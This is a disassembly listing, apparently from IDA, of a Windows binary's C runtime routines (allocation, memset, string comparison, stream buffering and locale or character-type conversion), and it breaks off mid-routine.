; =============== S U B	R O U T	I N E =======================================



sub_41E4B9	proc near		; CODE XREF: sub_418805+6Fp
					; sub_41B136+34p ...

arg_0		= dword	ptr  4

		inc	dword_481318
		push	1000h
		call	sub_416DAF
		test	eax, eax
		pop	ecx
		mov	ecx, [esp+arg_0]
		mov	[ecx+8], eax
		jz	short loc_41E4E2
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_41E4F3
; ---------------------------------------------------------------------------


loc_41E4E2:				; CODE XREF: sub_41E4B9+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_41E4F3:				; CODE XREF: sub_41E4B9+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_41E4B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4FD	proc near		; CODE XREF: sub_418805+64p
					; sub_41C534+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4815D0
		jb	short loc_41E50C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41E50C:				; CODE XREF: sub_41E4FD+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4815E0[ecx*4]
		lea	eax, [eax+eax*8]
		movsx	eax, byte ptr [ecx+eax*4+4]
		and	eax, 40h
		retn
sub_41E4FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E527	proc near		; CODE XREF: sub_41E587+1Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= word ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	ecx, esi
		jnz	short loc_41E538
		xor	eax, eax
		jmp	short loc_41E584
; ---------------------------------------------------------------------------


loc_41E538:				; CODE XREF: sub_41E527+Bj
		mov	eax, [ebp+arg_0]
		cmp	[eax+14h], esi
		jnz	short loc_41E551
		mov	ax, [ebp+arg_8]
		cmp	ax, 0FFh
		ja	short loc_41E576
		mov	[ecx], al
		xor	eax, eax
		inc	eax
		jmp	short loc_41E584
; ---------------------------------------------------------------------------


loc_41E551:				; CODE XREF: sub_41E527+17j
		lea	edx, [ebp+arg_4]
		push	edx
		push	esi
		push	dword ptr [eax+28h]
		mov	[ebp+arg_4], esi
		push	ecx
		push	1
		lea	ecx, [ebp+arg_8]
		push	ecx
		push	esi
		push	dword ptr [eax+4]
		call	dword_4220D8	; WideCharToMultiByte
		cmp	eax, esi
		jz	short loc_41E576
		cmp	[ebp+arg_4], esi
		jz	short loc_41E584


loc_41E576:				; CODE XREF: sub_41E527+21j
					; sub_41E527+48j
		call	sub_41B935
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh


loc_41E584:				; CODE XREF: sub_41E527+Fj
					; sub_41E527+28j ...
		pop	esi
		pop	ebp
		retn
sub_41E527	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E587	proc near		; CODE XREF: sub_4189AC+317p
					; sub_4189AC+6F7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		call	sub_41915F
		mov	eax, [eax+64h]
		cmp	eax, off_4323DC
		jz	short loc_41E59C
		call	sub_419F8E


loc_41E59C:				; CODE XREF: sub_41E587+Ej
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	eax
		call	sub_41E527
		add	esp, 0Ch
		retn
sub_41E587	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E5AE	proc near		; CODE XREF: sub_41915F+23p
					; sub_4191D0+29p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0041E661 SIZE 00000008 BYTES

		push	10h
		push	offset stru_42C9E0
		call	__SEH_prolog
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		mov	[ebp+var_1C], esi
		test	esi, esi
		jnz	short loc_41E5C9
		inc	esi


loc_41E5C9:				; CODE XREF: sub_41E5AE+18j
					; sub_41E5AE+9Fj
		xor	edi, edi
		mov	[ebp+var_20], edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41E638
		cmp	dword_482964, 3
		jnz	short loc_41E623
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+arg_4], esi
		mov	ebx, [ebp+var_1C]
		cmp	ebx, dword_482950
		ja	short loc_41E623
		push	4
		call	sub_41A166
		pop	ecx
		and	[ebp+ms_exc.disabled], edi
		push	ebx
		call	sub_41A9BE
		pop	ecx
		mov	[ebp+var_20], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41E658
		mov	edi, [ebp+var_20]
		test	edi, edi
		jz	short loc_41E627
		push	[ebp+var_1C]
		push	0
		push	edi
		call	sub_41E880
		add	esp, 0Ch


loc_41E623:				; CODE XREF: sub_41E5AE+2Cj
					; sub_41E5AE+40j
		test	edi, edi
		jnz	short loc_41E661


loc_41E627:				; CODE XREF: sub_41E5AE+65j
		push	esi
		push	8
		push	dword_482960
		call	dword_42205C	; RtlAllocateHeap
		mov	edi, eax


loc_41E638:				; CODE XREF: sub_41E5AE+23j
		test	edi, edi
		jnz	short loc_41E661
		cmp	dword_481314, edi
		jz	short loc_41E661
		push	esi
		call	sub_41AD08
		pop	ecx
		test	eax, eax
		jnz	loc_41E5C9
		jmp	short loc_41E663
sub_41E5AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E655	proc near		; DATA XREF: .text:stru_42C9E0o
		mov	esi, [ebp+0Ch]
sub_41E655	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41E658	proc near		; CODE XREF: sub_41E5AE+5Bp
		push	4
		call	sub_41A0D2
		pop	ecx
		retn
sub_41E658	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41E5AE


loc_41E661:				; CODE XREF: sub_41E5AE+77j
					; sub_41E5AE+8Cj ...
		mov	eax, edi


loc_41E663:				; CODE XREF: sub_41E5AE+A5j
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_41E5AE

; =============== S U B	R O U T	I N E =======================================



sub_41E669	proc near		; CODE XREF: sub_419255+CFp
					; sub_419255+301p ...

arg_0		= dword	ptr  4

		call	sub_41915F
		mov	eax, [eax+64h]
		cmp	eax, off_4323DC
		jz	short loc_41E67E
		call	sub_419F8E


loc_41E67E:				; CODE XREF: sub_41E669+Ej
		cmp	dword ptr [eax+28h], 1
		jle	short loc_41E694
		push	4
		push	[esp+4+arg_0]
		push	eax
		call	sub_419D8B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_41E694:				; CODE XREF: sub_41E669+19j
		mov	eax, [eax+48h]
		mov	ecx, [esp+arg_0]
		movzx	eax, byte ptr [eax+ecx*2]
		and	eax, 4
		retn
sub_41E669	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E6A3	proc near		; CODE XREF: sub_419255+840p
					; sub_419255+922p

arg_0		= dword	ptr  4

		call	sub_41915F
		mov	eax, [eax+64h]
		cmp	eax, off_4323DC
		jz	short loc_41E6B8
		call	sub_419F8E


loc_41E6B8:				; CODE XREF: sub_41E6A3+Ej
		cmp	dword ptr [eax+28h], 1
		jle	short loc_41E6D1
		push	80h
		push	[esp+4+arg_0]
		push	eax
		call	sub_419D8B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_41E6D1:				; CODE XREF: sub_41E6A3+19j
		mov	eax, [eax+48h]
		mov	ecx, [esp+arg_0]
		movzx	eax, byte ptr [eax+ecx*2]
		and	eax, 80h
		retn
sub_41E6A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E6E2	proc near		; CODE XREF: sub_419255+3Fp
					; sub_419255+5Ap ...

arg_0		= dword	ptr  4

		call	sub_41915F
		mov	eax, [eax+64h]
		cmp	eax, off_4323DC
		jz	short loc_41E6F7
		call	sub_419F8E


loc_41E6F7:				; CODE XREF: sub_41E6E2+Ej
		cmp	dword ptr [eax+28h], 1
		jle	short loc_41E70D
		push	8
		push	[esp+4+arg_0]
		push	eax
		call	sub_419D8B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_41E70D:				; CODE XREF: sub_41E6E2+19j
		mov	eax, [eax+48h]
		mov	ecx, [esp+arg_0]
		movzx	eax, byte ptr [eax+ecx*2]
		and	eax, 8
		retn
sub_41E6E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E71C	proc near		; CODE XREF: sub_419255+6Dp
					; sub_419255+3DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_41E768
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_41E73A
		test	al, al
		jns	short loc_41E768
		test	al, 2
		jnz	short loc_41E768


loc_41E73A:				; CODE XREF: sub_41E71C+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_41E747
		push	esi
		call	sub_41E4B9
		pop	ecx


loc_41E747:				; CODE XREF: sub_41E71C+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_41E757
		cmp	dword ptr [esi+4], 0
		jnz	short loc_41E768
		inc	eax
		mov	[esi], eax


loc_41E757:				; CODE XREF: sub_41E71C+30j
		dec	dword ptr [esi]
		test	byte ptr [esi+0Ch], 40h
		mov	eax, [esi]
		jz	short loc_41E76E
		cmp	[eax], bl
		jz	short loc_41E770
		inc	eax
		mov	[esi], eax


loc_41E768:				; CODE XREF: sub_41E71C+9j
					; sub_41E71C+18j ...
		or	eax, 0FFFFFFFFh


loc_41E76B:				; CODE XREF: sub_41E71C+6Aj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41E76E:				; CODE XREF: sub_41E71C+43j
		mov	[eax], bl


loc_41E770:				; CODE XREF: sub_41E71C+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	eax, 0FFFFFFEFh
		or	eax, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_41E76B
sub_41E71C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E788	proc near		; CODE XREF: sub_41E848+22p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		xor	ebx, ebx
		cmp	edi, ebx
		jz	short loc_41E7AC
		cmp	[ebp+arg_C], ebx
		jz	short loc_41E7AC
		mov	al, [edi]
		cmp	al, bl
		jnz	short loc_41E7B3
		mov	eax, [ebp+arg_4]
		cmp	eax, ebx
		jz	short loc_41E7AC
		mov	[eax], bx


loc_41E7AC:				; CODE XREF: sub_41E788+Dj
					; sub_41E788+12j ...
		xor	eax, eax


loc_41E7AE:				; CODE XREF: sub_41E788+44j
					; sub_41E788+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41E7B3:				; CODE XREF: sub_41E788+18j
		mov	esi, [ebp+arg_0]
		cmp	[esi+14h], ebx
		jnz	short loc_41E7CE
		mov	ecx, [ebp+arg_4]
		cmp	ecx, ebx
		jz	short loc_41E7C9
		movzx	ax, al
		mov	[ecx], ax


loc_41E7C9:				; CODE XREF: sub_41E788+38j
					; sub_41E788+ABj
		xor	eax, eax
		inc	eax
		jmp	short loc_41E7AE
; ---------------------------------------------------------------------------


loc_41E7CE:				; CODE XREF: sub_41E788+31j
		mov	ecx, [esi+48h]
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41E817
		mov	eax, [esi+28h]
		cmp	eax, 1
		jle	short loc_41E805
		cmp	[ebp+arg_C], eax
		jl	short loc_41E805
		xor	ecx, ecx
		cmp	[ebp+arg_4], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_4]
		push	eax
		push	edi
		push	9
		push	dword ptr [esi+4]
		call	dword_4220D4	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_41E812


loc_41E805:				; CODE XREF: sub_41E788+59j
					; sub_41E788+5Ej
		mov	eax, [ebp+arg_C]
		cmp	eax, [esi+28h]
		jb	short loc_41E835
		cmp	[edi+1], bl
		jz	short loc_41E835


loc_41E812:				; CODE XREF: sub_41E788+7Bj
		mov	eax, [esi+28h]
		jmp	short loc_41E7AE
; ---------------------------------------------------------------------------


loc_41E817:				; CODE XREF: sub_41E788+51j
		xor	eax, eax
		cmp	[ebp+arg_4], ebx
		setnz	al
		push	eax
		push	[ebp+arg_4]
		push	1
		push	edi
		push	9
		push	dword ptr [esi+4]
		call	dword_4220D4	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_41E7C9


loc_41E835:				; CODE XREF: sub_41E788+83j
					; sub_41E788+88j
		call	sub_41B935
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	loc_41E7AE
sub_41E788	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E848	proc near		; CODE XREF: sub_419255+68Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41915F
		mov	eax, [eax+64h]
		cmp	eax, off_4323DC
		jz	short loc_41E85D
		call	sub_419F8E


loc_41E85D:				; CODE XREF: sub_41E848+Ej
		push	[esp+arg_8]
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		push	eax
		call	sub_41E788
		add	esp, 10h
		retn
sub_41E848	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41E880	proc near		; CODE XREF: sub_419255+512p
					; sub_41BCFA+8Cp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41E8DB
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41E8CB
		neg	ecx
		and	ecx, 3
		jz	short loc_41E8AD
		sub	edx, ecx


loc_41E8A3:				; CODE XREF: sub_41E880+2Bj
		mov	[edi], al
		add	edi, 1
		sub	ecx, 1
		jnz	short loc_41E8A3


loc_41E8AD:				; CODE XREF: sub_41E880+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41E8CB
		rep stosd
		test	edx, edx
		jz	short loc_41E8D5


loc_41E8CB:				; CODE XREF: sub_41E880+18j
					; sub_41E880+43j ...
		mov	[edi], al
		add	edi, 1
		sub	edx, 1
		jnz	short loc_41E8CB


loc_41E8D5:				; CODE XREF: sub_41E880+49j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41E8DB:				; CODE XREF: sub_41E880+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41E880	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E8E0	proc near		; CODE XREF: sub_419D8B+60p
					; sub_41CF64+A4p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	1Ch
		push	offset stru_42C9F0
		call	__SEH_prolog
		xor	esi, esi
		cmp	dword_48143C, esi
		jnz	short loc_41E92B
		lea	eax, [ebp+var_1C]
		push	eax
		xor	edi, edi
		inc	edi
		push	edi
		push	offset dword_42C150
		push	edi
		call	dword_422158	; GetStringTypeW
		test	eax, eax
		jz	short loc_41E916
		mov	dword_48143C, edi
		jmp	short loc_41E92B
; ---------------------------------------------------------------------------


loc_41E916:				; CODE XREF: sub_41E8E0+2Cj
		call	dword_422004	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_41E92B
		mov	dword_48143C, 2


loc_41E92B:				; CODE XREF: sub_41E8E0+14j
					; sub_41E8E0+34j ...
		mov	eax, dword_48143C
		cmp	eax, 2
		jz	loc_41EA23
		cmp	eax, esi
		jz	loc_41EA23
		cmp	eax, 1
		jnz	loc_41EA49
		mov	[ebp+var_20], esi
		mov	[ebp+var_24], esi
		cmp	[ebp+arg_10], esi
		jnz	short loc_41E95D
		mov	eax, dword_481488
		mov	[ebp+arg_10], eax


loc_41E95D:				; CODE XREF: sub_41E8E0+73j
		push	esi
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		xor	eax, eax
		cmp	[ebp+arg_18], esi
		setnz	al
		lea	eax, ds:1[eax*8]
		push	eax
		push	[ebp+arg_10]
		call	dword_4220D4	; MultiByteToWideChar
		mov	edi, eax
		mov	[ebp+var_28], edi
		test	edi, edi
		jz	loc_41EA49
		and	[ebp+ms_exc.disabled], 0
		lea	ebx, [edi+edi]
		mov	eax, ebx
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_416B20
		mov	[ebp+ms_exc.old_esp], esp
		mov	esi, esp
		mov	[ebp+var_2C], esi
		push	ebx
		push	0
		push	esi
		call	sub_41E880
		add	esp, 0Ch
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_41E9CE
; ---------------------------------------------------------------------------


loc_41E9B9:				; DATA XREF: .text:stru_42C9F0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_41E9BD:				; DATA XREF: .text:stru_42C9F0o
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_41C068
		xor	esi, esi
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	edi, [ebp+var_28]


loc_41E9CE:				; CODE XREF: sub_41E8E0+D7j
		test	esi, esi
		jnz	short loc_41E9E9
		push	edi
		push	2
		call	sub_41E5AE
		pop	ecx
		pop	ecx
		mov	esi, eax
		test	esi, esi
		jz	short loc_41EA49
		mov	[ebp+var_24], 1


loc_41E9E9:				; CODE XREF: sub_41E8E0+F0j
		push	edi
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	dword_4220D4	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_41EA11
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	dword_422158	; GetStringTypeW
		mov	[ebp+var_20], eax


loc_41EA11:				; CODE XREF: sub_41E8E0+11Ej
		cmp	[ebp+var_24], 0
		jz	short loc_41EA1E
		push	esi
		call	sub_416C97
		pop	ecx


loc_41EA1E:				; CODE XREF: sub_41E8E0+135j
		mov	eax, [ebp+var_20]
		jmp	short loc_41EA91
; ---------------------------------------------------------------------------


loc_41EA23:				; CODE XREF: sub_41E8E0+53j
					; sub_41E8E0+5Bj
		mov	ebx, [ebp+arg_14]
		cmp	ebx, esi
		jnz	short loc_41EA30
		mov	ebx, dword_481478


loc_41EA30:				; CODE XREF: sub_41E8E0+148j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jnz	short loc_41EA3D
		mov	edi, dword_481488


loc_41EA3D:				; CODE XREF: sub_41E8E0+155j
		push	ebx
		call	sub_42027F
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41EA4D


loc_41EA49:				; CODE XREF: sub_41E8E0+64j
					; sub_41E8E0+A5j ...
		xor	eax, eax
		jmp	short loc_41EA91
; ---------------------------------------------------------------------------


loc_41EA4D:				; CODE XREF: sub_41E8E0+167j
		cmp	eax, edi
		jz	short loc_41EA6F
		push	0
		push	0
		lea	ecx, [ebp+arg_8]
		push	ecx
		push	[ebp+arg_4]
		push	eax
		push	edi
		call	sub_4202C8
		add	esp, 18h
		mov	esi, eax
		test	esi, esi
		jz	short loc_41EA49
		mov	[ebp+arg_4], esi


loc_41EA6F:				; CODE XREF: sub_41E8E0+16Fj
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	ebx
		call	dword_4221D8	; GetStringTypeA
		mov	edi, eax
		test	esi, esi
		jz	short loc_41EA8F
		push	esi
		call	sub_416C97
		pop	ecx


loc_41EA8F:				; CODE XREF: sub_41E8E0+1A6j
		mov	eax, edi


loc_41EA91:				; CODE XREF: sub_41E8E0+141j
					; sub_41E8E0+16Bj
		lea	esp, [ebp-38h]
		call	__SEH_epilog
		retn
sub_41E8E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EA9A	proc near		; CODE XREF: sub_419E02+B1p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	loc_41EC28
		push	dword ptr [esi+4]
		call	sub_416C97
		push	dword ptr [esi+8]
		call	sub_416C97
		push	dword ptr [esi+0Ch]
		call	sub_416C97
		push	dword ptr [esi+10h]
		call	sub_416C97
		push	dword ptr [esi+14h]
		call	sub_416C97
		push	dword ptr [esi+18h]
		call	sub_416C97
		push	dword ptr [esi]
		call	sub_416C97
		push	dword ptr [esi+20h]
		call	sub_416C97
		push	dword ptr [esi+24h]
		call	sub_416C97
		push	dword ptr [esi+28h]
		call	sub_416C97
		push	dword ptr [esi+2Ch]
		call	sub_416C97
		push	dword ptr [esi+30h]
		call	sub_416C97
		push	dword ptr [esi+34h]
		call	sub_416C97
		push	dword ptr [esi+1Ch]
		call	sub_416C97
		push	dword ptr [esi+38h]
		call	sub_416C97
		push	dword ptr [esi+3Ch]
		call	sub_416C97
		add	esp, 40h
		push	dword ptr [esi+40h]
		call	sub_416C97
		push	dword ptr [esi+44h]
		call	sub_416C97
		push	dword ptr [esi+48h]
		call	sub_416C97
		push	dword ptr [esi+4Ch]
		call	sub_416C97
		push	dword ptr [esi+50h]
		call	sub_416C97
		push	dword ptr [esi+54h]
		call	sub_416C97
		push	dword ptr [esi+58h]
		call	sub_416C97
		push	dword ptr [esi+5Ch]
		call	sub_416C97
		push	dword ptr [esi+60h]
		call	sub_416C97
		push	dword ptr [esi+64h]
		call	sub_416C97
		push	dword ptr [esi+68h]
		call	sub_416C97
		push	dword ptr [esi+6Ch]
		call	sub_416C97
		push	dword ptr [esi+70h]
		call	sub_416C97
		push	dword ptr [esi+74h]
		call	sub_416C97
		push	dword ptr [esi+78h]
		call	sub_416C97
		push	dword ptr [esi+7Ch]
		call	sub_416C97
		add	esp, 40h
		push	dword ptr [esi+80h]
		call	sub_416C97
		push	dword ptr [esi+84h]
		call	sub_416C97
		push	dword ptr [esi+88h]
		call	sub_416C97
		push	dword ptr [esi+8Ch]
		call	sub_416C97
		push	dword ptr [esi+90h]
		call	sub_416C97
		push	dword ptr [esi+94h]
		call	sub_416C97
		push	dword ptr [esi+98h]
		call	sub_416C97
		push	dword ptr [esi+9Ch]
		call	sub_416C97
		push	dword ptr [esi+0A0h]
		call	sub_416C97
		push	dword ptr [esi+0A4h]
		call	sub_416C97
		push	dword ptr [esi+0A8h]
		call	sub_416C97
		add	esp, 2Ch


loc_41EC28:				; CODE XREF: sub_41EA9A+7j
		pop	esi
		retn
sub_41EA9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EC2A	proc near		; CODE XREF: sub_419E02+5Dp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_41EC87
		mov	eax, [esi]
		mov	ecx, off_432D94
		cmp	eax, [ecx]
		jz	short loc_41EC4E
		cmp	eax, off_432D64
		jz	short loc_41EC4E
		push	eax
		call	sub_416C97
		pop	ecx


loc_41EC4E:				; CODE XREF: sub_41EC2A+13j
					; sub_41EC2A+1Bj
		mov	eax, [esi+4]
		mov	ecx, off_432D94
		cmp	eax, [ecx+4]
		jz	short loc_41EC6B
		cmp	eax, off_432D68
		jz	short loc_41EC6B
		push	eax
		call	sub_416C97
		pop	ecx


loc_41EC6B:				; CODE XREF: sub_41EC2A+30j
					; sub_41EC2A+38j
		mov	esi, [esi+8]
		mov	eax, off_432D94
		cmp	esi, [eax+8]
		jz	short loc_41EC87
		cmp	esi, off_432D6C
		jz	short loc_41EC87
		push	esi
		call	sub_416C97
		pop	ecx


loc_41EC87:				; CODE XREF: sub_41EC2A+7j
					; sub_41EC2A+4Cj ...
		pop	esi
		retn
sub_41EC2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EC89	proc near		; CODE XREF: sub_419E02+3Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	loc_41ED60
		mov	eax, [esi+0Ch]
		mov	ecx, off_432D94
		cmp	eax, [ecx+0Ch]
		jz	short loc_41ECB3
		cmp	eax, off_432D70
		jz	short loc_41ECB3
		push	eax
		call	sub_416C97
		pop	ecx


loc_41ECB3:				; CODE XREF: sub_41EC89+19j
					; sub_41EC89+21j
		mov	eax, [esi+10h]
		mov	ecx, off_432D94
		cmp	eax, [ecx+10h]
		jz	short loc_41ECD0
		cmp	eax, off_432D74
		jz	short loc_41ECD0
		push	eax
		call	sub_416C97
		pop	ecx


loc_41ECD0:				; CODE XREF: sub_41EC89+36j
					; sub_41EC89+3Ej
		mov	eax, [esi+14h]
		mov	ecx, off_432D94
		cmp	eax, [ecx+14h]
		jz	short loc_41ECED
		cmp	eax, off_432D78
		jz	short loc_41ECED
		push	eax
		call	sub_416C97
		pop	ecx


loc_41ECED:				; CODE XREF: sub_41EC89+53j
					; sub_41EC89+5Bj
		mov	eax, [esi+18h]
		mov	ecx, off_432D94
		cmp	eax, [ecx+18h]
		jz	short loc_41ED0A
		cmp	eax, off_432D7C
		jz	short loc_41ED0A
		push	eax
		call	sub_416C97
		pop	ecx


loc_41ED0A:				; CODE XREF: sub_41EC89+70j
					; sub_41EC89+78j
		mov	eax, [esi+1Ch]
		mov	ecx, off_432D94
		cmp	eax, [ecx+1Ch]
		jz	short loc_41ED27
		cmp	eax, off_432D80
		jz	short loc_41ED27
		push	eax
		call	sub_416C97
		pop	ecx


loc_41ED27:				; CODE XREF: sub_41EC89+8Dj
					; sub_41EC89+95j
		mov	eax, [esi+20h]
		mov	ecx, off_432D94
		cmp	eax, [ecx+20h]
		jz	short loc_41ED44
		cmp	eax, off_432D84
		jz	short loc_41ED44
		push	eax
		call	sub_416C97
		pop	ecx


loc_41ED44:				; CODE XREF: sub_41EC89+AAj
					; sub_41EC89+B2j
		mov	esi, [esi+24h]
		mov	eax, off_432D94
		cmp	esi, [eax+24h]
		jz	short loc_41ED60
		cmp	esi, off_432D88
		jz	short loc_41ED60
		push	esi
		call	sub_416C97
		pop	ecx


loc_41ED60:				; CODE XREF: sub_41EC89+7j
					; sub_41EC89+C6j ...
		pop	esi
		retn
sub_41EC89	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		mov	edx, [ebp+0Ch]
		lea	ecx, [ecx+0]


loc_41ED84:				; CODE XREF: .text:0041ED91j
		mov	al, [edx]
		or	al, al
		jz	short loc_41ED93
		add	edx, 1
		bts	[esp], eax
		jmp	short loc_41ED84
; ---------------------------------------------------------------------------


loc_41ED93:				; CODE XREF: .text:0041ED88j
		mov	esi, [ebp+8]
		or	ecx, 0FFFFFFFFh
		lea	ecx, [ecx+0]


loc_41ED9C:				; CODE XREF: .text:0041EDACj
		add	ecx, 1
		mov	al, [esi]
		or	al, al
		jz	short loc_41EDAE
		add	esi, 1
		bt	[esp], eax
		jnb	short loc_41ED9C


loc_41EDAE:				; CODE XREF: .text:0041EDA3j
		mov	eax, ecx
		add	esp, 20h
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41EDC0	proc near		; CODE XREF: sub_41C5E6+1Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41EE0C


loc_41EDD0:				; CODE XREF: sub_41EDC0+3Cj
					; sub_41EDC0+6Aj ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41EE04
		or	al, al
		jz	short loc_41EE00
		cmp	ah, [ecx+1]
		jnz	short loc_41EE04
		or	ah, ah
		jz	short loc_41EE00
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41EE04
		or	al, al
		jz	short loc_41EE00
		cmp	ah, [ecx+3]
		jnz	short loc_41EE04
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41EDD0
		mov	edi, edi


loc_41EE00:				; CODE XREF: sub_41EDC0+18j
					; sub_41EDC0+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41EE04:				; CODE XREF: sub_41EDC0+14j
					; sub_41EDC0+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		add	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_41EE0C:				; CODE XREF: sub_41EDC0+Ej
		test	edx, 1
		jz	short loc_41EE2C
		mov	al, [edx]
		add	edx, 1
